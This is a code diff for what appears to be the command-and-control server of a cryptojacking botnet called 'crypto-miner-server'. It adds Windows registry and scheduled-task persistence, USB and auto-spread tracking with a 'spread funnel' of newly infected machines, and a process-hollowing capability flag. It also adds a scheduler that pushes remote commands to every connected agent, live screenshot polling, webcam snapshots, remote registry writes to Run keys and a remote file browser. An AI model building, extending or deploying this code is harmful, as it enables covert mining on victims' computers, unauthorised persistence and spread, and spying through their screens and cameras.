+ +import "testing" + +func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) { + req := &BuildRequest{RegistryRunOnce: true} + normalizeRegistryPersistence(req) + if req.RegistryPersistence != "hkcu_run_once" { + t.Fatalf("got %q", req.RegistryPersistence) + } +} + +func TestNormalizeRegistryPersistenceCombined(t *testing.T) { + req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true} + normalizeRegistryPersistence(req) + if req.RegistryPersistence != "combined" { + t.Fatalf("got %q", req.RegistryPersistence) + } +} + +func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) { + req := &BuildRequest{ + RegistryPersistence: "hkcu_run", + RegistryRunHKLM: true, + } + normalizeRegistryPersistence(req) + if req.RegistryPersistence != "hkcu_run" { + t.Fatalf("enum should win, got %q", req.RegistryPersistence) + } +} diff --git a/server/internal/builder/uninstall.go b/server/internal/builder/uninstall.go index 0835565..cb4864a 100644 --- a/server/internal/builder/uninstall.go +++ b/server/internal/builder/uninstall.go @@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) { Write-Host "Removing persistence..." Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue +Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue +Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue +$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk') +if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force } if (%s) { Write-Host "Removing Windows Firewall rules..." diff --git a/server/internal/builder/uninstall_test.go b/server/internal/builder/uninstall_test.go index 617692c..f2e2e2a 100644 --- a/server/internal/builder/uninstall_test.go +++ b/server/internal/builder/uninstall_test.go @@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) { } } +func TestGenerateUninstallScriptAutostartExtras(t *testing.T) { + req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false} + script := generateUninstallScript("build-id", req) + for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} { + if !strings.Contains(script, frag) { + t.Fatalf("expected autostart cleanup fragment %q in script", frag) + } + } +} + func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) { req := &BuildRequest{ WorkerName: "office-pc", diff --git a/server/internal/db/agent_meta.go b/server/internal/db/agent_meta.go index f85ebd3..78f1166 100644 --- a/server/internal/db/agent_meta.go +++ b/server/internal/db/agent_meta.go @@ -34,6 +34,7 @@ func (d *Database) scanAgent(row interface { }) (*models.Agent, error) { a := &models.Agent{} var notes, tagsRaw string + var usbSpread int err := row.Scan( &a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, &a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt, @@ -41,18 +42,21 @@ func (d *Database) scanAgent(row interface { &a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress, + &a.BuildID, &a.WorkerName, &usbSpread, ) if err != nil { return nil, err } a.Notes = notes a.Tags = decodeTags(tagsRaw) + a.USBSpread = usbSpread == 1 return a, nil } const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, - cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address` + cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address, + build_id, worker_name, usb_spread` func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) diff --git a/server/internal/db/audit.go b/server/internal/db/audit.go new file mode 100644 index 0000000..b49e0b8 --- /dev/null +++ b/server/internal/db/audit.go @@ -0,0 +1,55 @@ +package db + +import ( + "encoding/json" + "time" + + "crypto-miner-server/internal/models" +) + +func (d *Database) InsertAudit(username, action, agentID string, detail interface{}) error { + var detailJSON []byte + if detail != nil { + var err error + detailJSON, err = json.Marshal(detail) + if err != nil { + detailJSON = []byte("{}") + } + } + _, err := d.Exec( + `INSERT INTO audit_log (timestamp, username, action, agent_id, detail) VALUES (?, ?, ?, ?, ?)`, + time.Now(), username, action, agentID, string(detailJSON), + ) + return err +} + +func (d *Database) ListAudit(limit int) ([]*models.AuditEntry, error) { + if limit <= 0 { + limit = 50 + } + if limit > 500 { + limit = 500 + } + rows, err := d.Query( + `SELECT id, timestamp, username, action, agent_id, detail FROM audit_log ORDER BY id DESC LIMIT ?`, + limit, + ) + if err != nil { + return nil, err + } + defer rows.Close() + + var out []*models.AuditEntry + for rows.Next() { + e := &models.AuditEntry{} + var detailStr string + if err := rows.Scan(&e.ID, &e.Timestamp, &e.Username, &e.Action, &e.AgentID, &detailStr); err != nil { + return nil, err + } + if detailStr != "" { + e.Detail = json.RawMessage(detailStr) + } + out = append(out, e) + } + return out, nil +} diff --git a/server/internal/db/audit_test.go b/server/internal/db/audit_test.go new file mode 100644 index 0000000..a1dd2b3 --- /dev/null +++ b/server/internal/db/audit_test.go @@ -0,0 +1,46 @@ +package db + +import ( + "testing" + + "crypto-miner-server/internal/models" +) + +func TestAuditLogRoundTrip(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil { + t.Fatal(err) + } + rows, err := d.ListAudit(10) + if err != nil { + t.Fatal(err) + } + if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" { + t.Fatalf("unexpected audit rows: %+v", rows) + } +} + +func TestFleetTasksCRUD(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"} + if err := d.UpsertFleetTask(task); err != nil { + t.Fatal(err) + } + list, err := d.ListFleetTasks() + if err != nil || len(list) != 1 { + t.Fatalf("list: %v err=%v", list, err) + } + if err := d.DeleteFleetTask(list[0].ID); err != nil { + t.Fatal(err) + } +} diff --git a/server/internal/db/fleet_tasks.go b/server/internal/db/fleet_tasks.go new file mode 100644 index 0000000..8dd908f --- /dev/null +++ b/server/internal/db/fleet_tasks.go @@ -0,0 +1,97 @@ +package db + +import ( + "database/sql" + "time" + + "crypto-miner-server/internal/models" + + "github.com/google/uuid" +) + +func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) { + rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`) + if err != nil { + return nil, err + } + defer rows.Close() + return scanFleetTasks(rows) +} + +func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) { + row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id) + return scanFleetTaskRow(row) +} + +func (d *Database) UpsertFleetTask(t *models.FleetTask) error { + if t.ID == "" { + t.ID = uuid.New().String() + } + now := time.Now() + if t.CreatedAt.IsZero() { + t.CreatedAt = now + } + t.UpdatedAt = now + _, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(id) DO UPDATE SET + name = excluded.name, + enabled = excluded.enabled, + trigger = excluded.trigger, + interval_hours = excluded.interval_hours, + cron_time = excluded.cron_time, + action = excluded.action, + command = excluded.command, + target = excluded.target, + updated_at = excluded.updated_at`, + t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt, + ) + return err +} + +func (d *Database) DeleteFleetTask(id string) error { + _, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id) + return err +} + +func (d *Database) RecordFleetTaskRun(agentID, taskID string) error { + _, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?) + ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`, + agentID, taskID, time.Now(), + ) + return err +} + +func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) { + var ts time.Time + err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts) + if err != nil { + return time.Time{}, false + } + return ts, true +} + +func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) { + t := &models.FleetTask{} + var enabled int + err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt) + if err != nil { + return nil, err + } + t.Enabled = enabled == 1 + return t, nil +} + +func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) { + var out []*models.FleetTask + for rows.Next() { + t := &models.FleetTask{} + var enabled int + if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil { + return nil, err + } + t.Enabled = enabled == 1 + out = append(out, t) + } + return out, rows.Err() +} diff --git a/server/internal/db/spread_stats.go b/server/internal/db/spread_stats.go new file mode 100644 index 0000000..69e7704 --- /dev/null +++ b/server/internal/db/spread_stats.go @@ -0,0 +1,52 @@ +package db + +import "time" + +type SpreadFunnelRow struct { + BuildID string `json:"build_id"` + WorkerName string `json:"worker_name"` + Count int `json:"count"` + USBSpread int `json:"usb_spread_count"` +} + +type SpreadFunnelStats struct { + ByBuild []SpreadFunnelRow `json:"by_build"` + NewConnectsToday int `json:"new_connects_today"` + TotalAgents int `json:"total_agents"` +} + +func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) { + stats := &SpreadFunnelStats{} + + if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil { + return nil, err + } + if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil { + return nil, err + } + + rows, err := d.Query(` + SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id, + COALESCE(NULLIF(worker_name,''), name) AS worker_name, + COUNT(*) AS cnt, + SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt + FROM agents + WHERE created_at >= ? + GROUP BY build_id, worker_name + ORDER BY cnt DESC`, + since, + ) + if err != nil { + return nil, err + } + defer rows.Close() + + for rows.Next() { + var r SpreadFunnelRow + if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil { + return nil, err + } + stats.ByBuild = append(stats.ByBuild, r) + } + return stats, rows.Err() +} diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index ad9661a..d21cf72 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -130,6 +130,45 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`) + + extraMigrations := []string{ + `CREATE TABLE IF NOT EXISTS audit_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + username TEXT NOT NULL DEFAULT '', + action TEXT NOT NULL, + agent_id TEXT NOT NULL DEFAULT '', + detail TEXT NOT NULL DEFAULT '{}' + )`, + `CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`, + `CREATE TABLE IF NOT EXISTS fleet_tasks ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + enabled INTEGER NOT NULL DEFAULT 1, + trigger TEXT NOT NULL, + interval_hours REAL NOT NULL DEFAULT 0, + cron_time TEXT NOT NULL DEFAULT '', + action TEXT NOT NULL, + command TEXT NOT NULL DEFAULT '', + target TEXT NOT NULL DEFAULT 'all', + created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`, + `CREATE TABLE IF NOT EXISTS fleet_task_runs ( + agent_id TEXT NOT NULL, + task_id TEXT NOT NULL, + last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (agent_id, task_id) + )`, + } + for _, m := range extraMigrations { + if _, err := d.Exec(m); err != nil { + return fmt.Errorf("migration failed: %w\nSQL: %s", err, m) + } + } return nil } @@ -137,8 +176,8 @@ func (d *Database) migrate() error { // Agent operations func (d *Database) UpsertAgent(a *models.Agent) error { - query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?) + query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?) ON CONFLICT(id) DO UPDATE SET name = excluded.name, wallet = excluded.wallet, @@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error { arch = excluded.arch, os_version = excluded.os_version, hostname = excluded.hostname, - mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END` - _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress) + mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END, + build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END, + worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END, + usb_spread = excluded.usb_spread` + usb := 0 + if a.USBSpread { + usb = 1 + } + _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb) return err } diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index abc5a3f..35e5a3d 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -34,6 +34,10 @@ type Agent struct { Hostname string `json:"hostname,omitempty"` MacAddress string `json:"mac_address,omitempty"` + BuildID string `json:"build_id,omitempty"` + WorkerName string `json:"worker_name,omitempty"` + USBSpread bool `json:"usb_spread,omitempty"` + // Live connection quality — not persisted, set by WSHub each stats cycle. LatencyMs *int `json:"latency_ms,omitempty"` @@ -102,6 +106,7 @@ type AgentCapabilities struct { AutoSpread bool `json:"auto_spread"` ProcessHollowing bool `json:"process_hollowing"` AIEnabled bool `json:"ai_enabled"` + USBSpread bool `json:"usb_spread"` } type Share struct { diff --git a/server/internal/models/audit.go b/server/internal/models/audit.go new file mode 100644 index 0000000..43984a5 --- /dev/null +++ b/server/internal/models/audit.go @@ -0,0 +1,15 @@ +package models + +import ( + "encoding/json" + "time" +) + +type AuditEntry struct { + ID int64 `json:"id"` + Timestamp time.Time `json:"timestamp"` + Username string `json:"username"` + Action string `json:"action"` + AgentID string `json:"agent_id,omitempty"` + Detail json.RawMessage `json:"detail,omitempty"` +} diff --git a/server/internal/models/fleet_task.go b/server/internal/models/fleet_task.go new file mode 100644 index 0000000..2202a05 --- /dev/null +++ b/server/internal/models/fleet_task.go @@ -0,0 +1,18 @@ +package models + +import "time" + +// FleetTask is a server-side scheduled remote action pushed to agents. +type FleetTask struct { + ID string `json:"id"` + Name string `json:"name"` + Enabled bool `json:"enabled"` + Trigger string `json:"trigger"` // on_connect, on_reconnect, interval_hours, cron + IntervalHours float64 `json:"interval_hours,omitempty"` + CronTime string `json:"cron_time,omitempty"` // HH:MM daily + Action string `json:"action"` + Command string `json:"command,omitempty"` + Target string `json:"target,omitempty"` // all (default) + CreatedAt time.Time `json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` +} diff --git a/server/internal/scheduler/fleet_scheduler.go b/server/internal/scheduler/fleet_scheduler.go new file mode 100644 index 0000000..066765c --- /dev/null +++ b/server/internal/scheduler/fleet_scheduler.go @@ -0,0 +1,142 @@ +package scheduler + +import ( + "log" + "strings" + "sync" + "time" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +// CommandSender pushes a remote command to a connected agent. +type CommandSender interface { + SendAgentCommand(agentID, action string, args map[string]interface{}) error + ConnectedAgentIDs() []string +} + +// FleetScheduler runs interval and cron fleet tasks against connected agents. +type FleetScheduler struct { + db *db.Database + send CommandSender + stop chan struct{} + wg sync.WaitGroup + + cronMu sync.Mutex + lastCronRuns map[string]string // taskID -> "2006-01-02 15:04" +} + +func New(db *db.Database, send CommandSender) *FleetScheduler { + return &FleetScheduler{ + db: db, + send: send, + stop: make(chan struct{}), + lastCronRuns: make(map[string]string), + } +} + +func (s *FleetScheduler) Start() { + s.wg.Add(1) + go s.loop() +} + +func (s *FleetScheduler) Stop() { + close(s.stop) + s.wg.Wait() +} + +func (s *FleetScheduler) loop() { + defer s.wg.Done() + ticker := time.NewTicker(1 * time.Minute) + defer ticker.Stop() + for { + select { + case <-s.stop: + return + case <-ticker.C: + s.tickInterval() + s.tickCron() + } + } +} + +// RunConnectTasks executes tasks matching on_connect or on_reconnect for one agent. +func (s *FleetScheduler) RunConnectTasks(agentID string, trigger string) { + tasks, err := s.db.ListFleetTasks() + if err != nil { + log.Printf("[scheduler] list tasks: %v", err) + return + } + for _, t := range tasks { + if !t.Enabled || t.Trigger != trigger { + continue + } + s.dispatchTask(agentID, t) + } +} + +func (s *FleetScheduler) tickInterval() { + tasks, err := s.db.ListFleetTasks() + if err != nil { + return + } + agentIDs := s.send.ConnectedAgentIDs() + for _, t := range tasks { + if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 { + continue + } + interval := time.Duration(t.IntervalHours * float64(time.Hour)) + for _, agentID := range agentIDs { + last, ok := s.db.LastFleetTaskRun(agentID, t.ID) + if ok && time.Since(last) < interval { + continue + } + s.dispatchTask(agentID, t) + } + } +} + +func (s *FleetScheduler) tickCron() { + now := time.Now() + slot := now.Format("15:04") + daySlot := now.Format("2006-01-02") + " " + slot + + tasks, err := s.db.ListFleetTasks() + if err != nil { + return + } + agentIDs := s.send.ConnectedAgentIDs() + for _, t := range tasks { + if !t.Enabled || t.Trigger != "cron" || strings.TrimSpace(t.CronTime) == "" { + continue + } + cronTime := strings.TrimSpace(t.CronTime) + if cronTime != slot { + continue + } + s.cronMu.Lock() + if s.lastCronRuns[t.ID] == daySlot { + s.cronMu.Unlock() + continue + } + s.lastCronRuns[t.ID] = daySlot + s.cronMu.Unlock() + for _, agentID := range agentIDs { + s.dispatchTask(agentID, t) + } + } +} + +func (s *FleetScheduler) dispatchTask(agentID string, t *models.FleetTask) { + args := map[string]interface{}{} + if t.Command != "" { + args["command"] = t.Command + } + if err := s.send.SendAgentCommand(agentID, t.Action, args); err != nil { + log.Printf("[scheduler] task %s → %s: %v", t.Name, agentID, err) + return + } + _ = s.db.RecordFleetTaskRun(agentID, t.ID) + log.Printf("[scheduler] dispatched task %q (%s) → agent %s", t.Name, t.Action, agentID) +} diff --git a/server/main.go b/server/main.go index 15676aa..5b9c829 100644 --- a/server/main.go +++ b/server/main.go @@ -18,6 +18,7 @@ import ( "crypto-miner-server/internal/db" "crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/pool" + "crypto-miner-server/internal/scheduler" "crypto-miner-server/internal/sys" ) @@ -143,6 +144,7 @@ func main() { wsHub.SetFleetSecret(newSecret) builderHandler.SetFleetSecret(newSecret) api.SetAgentPathSecret(newSecret) + _ = database.InsertAudit("", "fleet_secret_rotate", "", map[string]string{"prefix": newSecret[:8]}) log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8]) return newSecret, nil }) @@ -183,6 +185,9 @@ func main() { }, } configHandler := api.NewConfigHandler(configProvider) + configHandler.SetAuditSaveHook(func(user string) { + _ = database.InsertAudit(user, "config_save", "", nil) + }) log.Println("Config handler initialized") maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays) @@ -227,6 +232,11 @@ func main() { fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir) + fleetSched := scheduler.New(database, wsHub) + fleetSched.Start() + defer fleetSched.Stop() + wsHub.SetConnectTaskRunner(fleetSched) + // Initialize blueprint handler (config presets) blueprintHandler := api.NewBlueprintHandler(cfg.DataDir) log.Println("Blueprint handler initialized") diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 8b8e20f..c028726 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -207,6 +207,14 @@ export const api = { // XMR market price (server-side CoinGecko cache, refreshed every 10 min) getXmrPrice: () => fetchJSON('/market/xmr'), + getAudit: () => fetchJSON('/audit'), + getFleetTasks: () => fetchJSON('/fleet-tasks'), + saveFleetTask: (task: import('../types').FleetTask) => + fetchJSON('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }), + deleteFleetTask: (id: string) => + fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }), + getSpreadFunnel: () => fetchJSON('/dashboard/spread-funnel'), + // Path Tracer — WireGuard VPN chain sessions startTrace: (agentIds: string[]) => fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', { diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index 642e232..6bc39d4 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -9,8 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush'; import { parseFullSysCheckMessage } from '../../types/syscheck'; import type { FullSysCheckReport } from '../../types/syscheck'; import FullSysCheckPanel from './FullSysCheckPanel'; +import ProtocolTunnelPanel from './ProtocolTunnelPanel'; import './AgentRemoteActions.css'; import './FullSysCheckPanel.css'; +import './ProtocolTunnelPanel.css'; const TERMINAL_MAX_LINES = 500; @@ -51,10 +53,20 @@ export default function AgentRemoteActions({ // terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6) const [terminalLog, setTerminalLog] = useState([]); const [screenshotData, setScreenshotData] = useState(null); + const [liveView, setLiveView] = useState(false); + const liveViewRef = useRef(false); + liveViewRef.current = liveView; const [busy, setBusy] = useState(null); const [wolMac, setWolMac] = useState(''); const [wolExpanded, setWolExpanded] = useState(false); + const [registryExpanded, setRegistryExpanded] = useState(false); + const [regHive, setRegHive] = useState('HKCU'); + const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run'); + const [regName, setRegName] = useState(''); + const [regValue, setRegValue] = useState(''); + const [regType, setRegType] = useState('REG_SZ'); const [sysCheckReport, setSysCheckReport] = useState(null); + const [tunnelStatusMsg, setTunnelStatusMsg] = useState(''); // Fleet upgrade const [builds, setBuilds] = useState([]); const [selectedBuildId, setSelectedBuildId] = useState(''); @@ -152,18 +164,24 @@ export default function AgentRemoteActions({ addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`); setSysCheckReport(null); } - } else if (action === 'screenshot') { + } else if (action === 'tunnel_status' && success && message) { + setTunnelStatusMsg(message); + } else if (action === 'screenshot' || action === 'camera_snapshot') { const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent'); + const kind = action === 'camera_snapshot' ? 'camera' : 'screenshot'; + const tag = action === 'camera_snapshot' ? 'CAMERA' : 'SCREENSHOT'; if (success && message) { const clean = sanitizeScreenshotBase64(message); - if (downloadScreenshotFromBase64(clean, label)) { + if (liveViewRef.current && action === 'screenshot') { setScreenshotData(`data:image/jpeg;base64,${clean}`); - addLog(`✓ Screenshot saved — ${label}`); + } else if (downloadScreenshotFromBase64(clean, label, kind)) { + setScreenshotData(`data:image/jpeg;base64,${clean}`); + addLog(`✓ ${tag} saved — ${label}`); } else { - addLog(`✗ [SCREENSHOT] ${label}: invalid image data`); + addLog(`✗ [${tag}] ${label}: invalid image data`); } - } else { - addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`); + } else if (!liveViewRef.current || action !== 'screenshot') { + addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`); } } else if (action && action !== 'full_sys_check') { const icon = success ? '✓' : '✗'; @@ -174,6 +192,24 @@ export default function AgentRemoteActions({ } }, [commandResults, agentId, addLog, agentNameProp, agent?.name]); + useEffect(() => { + if (!liveView || !isOnline || !agentId || agentId === 'all') return; + let focused = document.visibilityState === 'visible'; + const onVis = () => { focused = document.visibilityState === 'visible'; }; + document.addEventListener('visibilitychange', onVis); + const id = setInterval(() => { + if (!focused) return; + api.sendAgentCommand(agentId, 'screenshot').catch(() => {}); + }, 3000); + api.sendAgentCommand(agentId, 'screenshot').catch(() => {}); + return () => { + clearInterval(id); + document.removeEventListener('visibilitychange', onVis); + }; + }, [liveView, isOnline, agentId]); + + useEffect(() => () => setLiveView(false), []); + const dispatch = async (action: string, args: Record = {}) => { if (!agentId) { addLog('⚠ No agent selected'); @@ -222,6 +258,8 @@ export default function AgentRemoteActions({ try { if (action === 'screenshot') { addLog(`◈ Capturing desktop on ${agentName}…`); + } else if (action === 'camera_snapshot') { + addLog(`◈ Capturing USB/built-in camera on ${agentName}…`); } else { addLog(`▶ ${action} → ${agentId === 'all' ? 'FLEET' : agentName}`); } @@ -230,7 +268,7 @@ export default function AgentRemoteActions({ addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`); return; } - if (action !== 'screenshot') addLog(`✓ command queued`); + if (action !== 'screenshot' && action !== 'camera_snapshot') addLog(`✓ command queued`); onCommandSent?.(action); } catch (err: unknown) { const msg = err instanceof Error ? err.message : 'Command failed'; @@ -327,6 +365,16 @@ export default function AgentRemoteActions({

Recon & Intel

+ + @@ -570,6 +618,100 @@ export default function AgentRemoteActions({
+ + {!compact && agentId && agentId !== 'all' && ( + + )} + + {(platform === 'windows' || platform === undefined) && ( +
+

Registry (administered Windows)

+ + {registryExpanded && ( +
+
+ + setRegPath(e.target.value)} + placeholder="Software\...\Run" + /> +
+
+ setRegName(e.target.value)} placeholder="Value name" /> + setRegValue(e.target.value)} placeholder="Value (write only)" /> + +
+
+ + + +
+ Allowlist: Software\ and Environment under HKCU/HKLM. Crucible JSON: action registry_read with data hive/path. +
+ )} +
+ )} {sysCheckReport && !compact && ( @@ -583,7 +725,7 @@ export default function AgentRemoteActions({ {screenshotData && (
- Latest capture (also downloaded) + Latest capture (also downloaded as JPEG) +
+ {!online &&

Agent offline

} +
+ + {crumbs.map((c, i) => ( + + / + + + ))} +
+ setFilter(e.target.value)} + /> +
    +
  • + +
  • + {filtered.map((e) => ( +
  • + +
  • + ))} +
+
+ + setUploadPath(e.target.value)} /> + +
+ {err &&

{err}

} + {preview &&
{preview}
} +
+ ); +} diff --git a/server/web/src/components/Fleet/FleetOpsWidgets.tsx b/server/web/src/components/Fleet/FleetOpsWidgets.tsx new file mode 100644 index 0000000..dfb136b --- /dev/null +++ b/server/web/src/components/Fleet/FleetOpsWidgets.tsx @@ -0,0 +1,81 @@ +import { useEffect, useState } from 'react'; +import { api } from '../../api/client'; +import type { AuditEntry } from '../../types'; +import NeonCard from '../NeonCard/NeonCard'; + +export function AuditLogStrip({ limit = 8 }: { limit?: number }) { + const [entries, setEntries] = useState([]); + + useEffect(() => { + api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([])); + const t = setInterval(() => { + api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {}); + }, 60000); + return () => clearInterval(t); + }, [limit]); + + return ( + +

OPERATOR AUDIT

+

Recent actions (last 50 on server)

+ {entries.length === 0 ? ( +

No audit entries yet.

+ ) : ( +
    + {entries.map((e) => ( +
  • + {new Date(e.timestamp).toLocaleString()} + {' '} + {e.username || '—'} + {' · '} + {e.action} + {e.agent_id && @{e.agent_id.slice(0, 8)}} +
  • + ))} +
+ )} +
